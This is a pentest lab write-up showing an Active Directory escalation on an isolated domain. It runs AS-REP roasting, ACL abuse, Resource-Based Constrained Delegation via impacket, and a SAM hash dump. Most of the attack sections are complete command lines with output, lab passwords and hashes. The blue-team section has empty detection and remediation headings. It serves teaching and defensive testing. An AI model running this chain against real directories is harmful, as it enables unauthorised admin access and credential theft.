pen-test-lab// Request a test →
Writeup · Lab Build · Active Directory

pentest.lab — writing to Active Directory

The domain controller already fell once. This time the target is a member workstation — a freshly domain-joined Windows 11 box — and the escalation never runs an exploit. It runs a write to Active Directory. A low-privilege user, one over-permissive ACL, and the default machine-account quota are enough to perform Resource-Based Constrained Delegation: add a computer, write a single attribute on the target, and ask Kerberos for a ticket as Administrator.

target 192.168.56.123 · WIN_VIRTUAL domain pentest.lab / PENTEST host Windows 11 · Build 26100 attacker Kali · .117 result local admin · SAM dump via RBCD
// 00

Executive summary

This is a follow-on to the pentest.lab kill chain. The domain is the same; what's new is a domain-joined client and a different class of flaw. Where the first writeup was pure Kerberos credential abuse, this one is an ACL + delegation attack — the kind of finding that turns one over-permissive object into a foothold-to-admin jump without ever touching a binary.

The whole path starts from zero credentials and ends at local administrator on the workstation. The pivot in the middle — the thing that makes it work — is a single write to a computer object in the directory. That write is legal, authenticated, and completely by-design; it's only dangerous because a low-privilege account was allowed to make it.

root@pen-test-lab:~ — rbcd chain· · ·
#1as-rep roast → jweak (pre-auth disabled) → crack → Welcome1
#2evil-winrm → low-priv foothold, zero privileges
#3acl abuse → jweak holds GenericAll over WIN_VIRTUAL$
#4rbcd write → msDS-AllowedToActOnBehalfOfOtherIdentity
#5s4u2self/proxy → cifs ticket as Administrator → local admin
Credential / artifactValueRecovered / abused via
jweakWelcome1AS-REP roast — no pre-auth
jweak → WIN_VIRTUAL$GenericAll (FullControl)over-permissive object ACL
MachineAccountQuota10domain default — any user adds a computer
attacker01$Attacker123!computer added under the quota
RBCDattacker01$ trusted on WIN_VIRTUAL$write of delegation attribute
WIN_VIRTUALlocal admin · SAMS4U2Self/Proxy → secretsdump

PHASE 01 · the range

What was planted, and why

The member host is a stock Windows 11 VM — WIN_VIRTUAL, DHCP 192.168.56.123 — joined to pentest.lab on the isolated host-only network. Two conditions make the chain possible, and only one of them was deliberately planted:

The seed is one ACE, applied as domain admin, mirroring a delegated-rights misconfiguration:

# grant jweak GenericAll over the WIN_VIRTUAL$ computer object
$ impacket-dacledit -action write -rights FullControl \
    -principal jweak -target-dn 'CN=WIN_VIRTUAL,CN=Computers,DC=pentest,DC=lab' \
    'pentest.lab/Administrator:Passw0rd!' -dc-ip 192.168.56.10

[*] DACL backed up to dacledit-20261021-084051.bak
[*] DACL modified successfully!

The backup matters. Seeding a lab flaw should always be reversible — dacledit writes a .bak of the original DACL so the object can be restored byte-for-byte when the exercise is done.


PHASE 02 · foothold

From nothing to a low-priv shell

The entry point is the same roastable user as the first run. jweak has pre-authentication disabled (DONT_REQ_PREAUTH), so an AS-REP encrypted with his password key can be pulled with no credentials at all and cracked offline.

impacket-GetNPUsersjohnevil-winrmnetexec
$ impacket-GetNPUsers pentest.lab/jweak -no-pass -dc-ip 192.168.56.10 -format hashcat
$krb5asrep$23$jweak@PENTEST.LAB:84cec8ac...bedc43eb77...a9a5670e1f58ffb14f...

$ john --wordlist=/usr/share/wordlists/rockyou.txt jweak.asrep
Welcome1         ($krb5asrep$23$jweak@PENTEST.LAB)

With the password cracked, WinRM gives an interactive shell. The point of the foothold is what it isn't: the token carries no useful privileges — no SeImpersonate, nothing the Potato family could abuse. Local escalation is a dead end, which forces the attack into the directory.

*Evil-WinRM* PS> whoami
pentest\jweak
*Evil-WinRM* PS> whoami /priv
SeShutdownPrivilege            Shut down the system                 Enabled
SeChangeNotifyPrivilege        Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set       Enabled
SeTimeZonePrivilege            Change the time zone                 Enabled
# no SeImpersonate, no SeBackup — a genuinely low-priv token, Medium integrity

SMB was a dead end too: as jweak, C$ and ADMIN$ list but deny access, SMB signing is on (no relay), and the SYSVOL GPP-password hunt came back empty. The only way up from here is a write to AD.


PHASE 03 · the write

Resource-Based Constrained Delegation

RBCD lets a service be configured to accept tickets forged on behalf of other users — the trust lives in one attribute on the resource computer, msDS-AllowedToActOnBehalfOfOtherIdentity. Whoever can write that attribute can nominate a principal they control as a trusted delegate, then use S4U to mint a service ticket as any user, including Administrator. The GenericAll from Phase 01 is exactly that write.

# verify the write primitive as jweak

$ impacket-dacledit -action read -principal jweak \
    -target-dn 'CN=WIN_VIRTUAL,CN=Computers,DC=pentest,DC=lab' \
    'pentest.lab/jweak:Welcome1' -dc-ip 192.168.56.10

[*]   ACE[16] info
[*]     Access mask : FullControl (0xf01ff)
[*]     Trustee     : jweak (S-1-5-21-...-1106)

Confirmed with jweak's own credentials — this is real, usable access, not just an admin-side view of the ACL.

# add a computer under MachineAccountQuota

$ impacket-addcomputer -computer-name 'attacker01$' -computer-pass 'Attacker123!' \
    -dc-ip 192.168.56.10 'pentest.lab/jweak:Welcome1'
[*] Successfully added machine account attacker01$ with password Attacker123!.

No special rights needed — the domain's default quota of 10 lets any authenticated user do this. attacker01$ is a principal we fully control, which is all S4U requires on the delegate side.

# write the delegation — the write to AD

$ impacket-rbcd -delegate-from 'attacker01$' -delegate-to 'WIN_VIRTUAL$' \
    -action write 'pentest.lab/jweak:Welcome1' -dc-ip 192.168.56.10

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] attacker01$ can now impersonate users on WIN_VIRTUAL$ via S4U2Proxy

That single attribute write is the entire escalation. From here it's just asking Kerberos for the tickets the directory now says we're allowed to have.

# S4U2Self + S4U2Proxy → Administrator ticket

$ impacket-getST -spn 'cifs/WIN_VIRTUAL.pentest.lab' -impersonate 'Administrator' \
    'pentest.lab/attacker01$:Attacker123!' -dc-ip 192.168.56.10

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WIN_VIRTUAL.pentest.lab@PENTEST.LAB.ccache

Two gotchas worth noting. getST fails if KRB5CCNAME is pre-set to a path that doesn't exist yet — let it create the ccache, then point at it. And every ticket-based step is bound to the exact service name, so WIN_VIRTUAL.pentest.lab must resolve from the attacker (an /etc/hosts entry to .123 is enough) — Kerberos authenticates names, not IPs.

# cash the ticket — local admin on the client

$ export KRB5CCNAME=Administrator@cifs_WIN_VIRTUAL.pentest.lab@PENTEST.LAB.ccache
$ netexec smb WIN_VIRTUAL.pentest.lab -k --use-kcache
SMB  WIN_VIRTUAL.pentest.lab  445  WIN_VIRTUAL  [*] Windows 11 Build 26100 x64 (signing:True)
SMB  WIN_VIRTUAL.pentest.lab  445  WIN_VIRTUAL  [+] pentest.lab\Administrator from ccache (Pwn3d!)

$ impacket-secretsdump -k -no-pass 'pentest.lab/Administrator@WIN_VIRTUAL.pentest.lab'
[*] Target system bootKey: 0x76903d308e000eeaf3d14d8b46de1a84
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::  # blank local admin
jh763:1001:aad3b435...:bf4b7a1e5dff905485380f3f5965a668:::

The service ticket authorises SMB as Administrator, secretsdump starts RemoteRegistry, lifts the bootkey, and dumps every local secret. Foothold to local admin — the hop powered entirely by one authenticated write to Active Directory.


PHASE 04 · blue team

Detecting and closing it

This is the purple half. RBCD is loud if you're watching the right events, and cheap to prevent outright.

# detection

# remediation

Lab reset. After the exercise the object was restored from the dacledit backup, attacker01$ deleted, and the delegation attribute flushed — the domain returned to a clean state with only DC01$ and the legitimately-joined WIN_VIRTUAL$ remaining.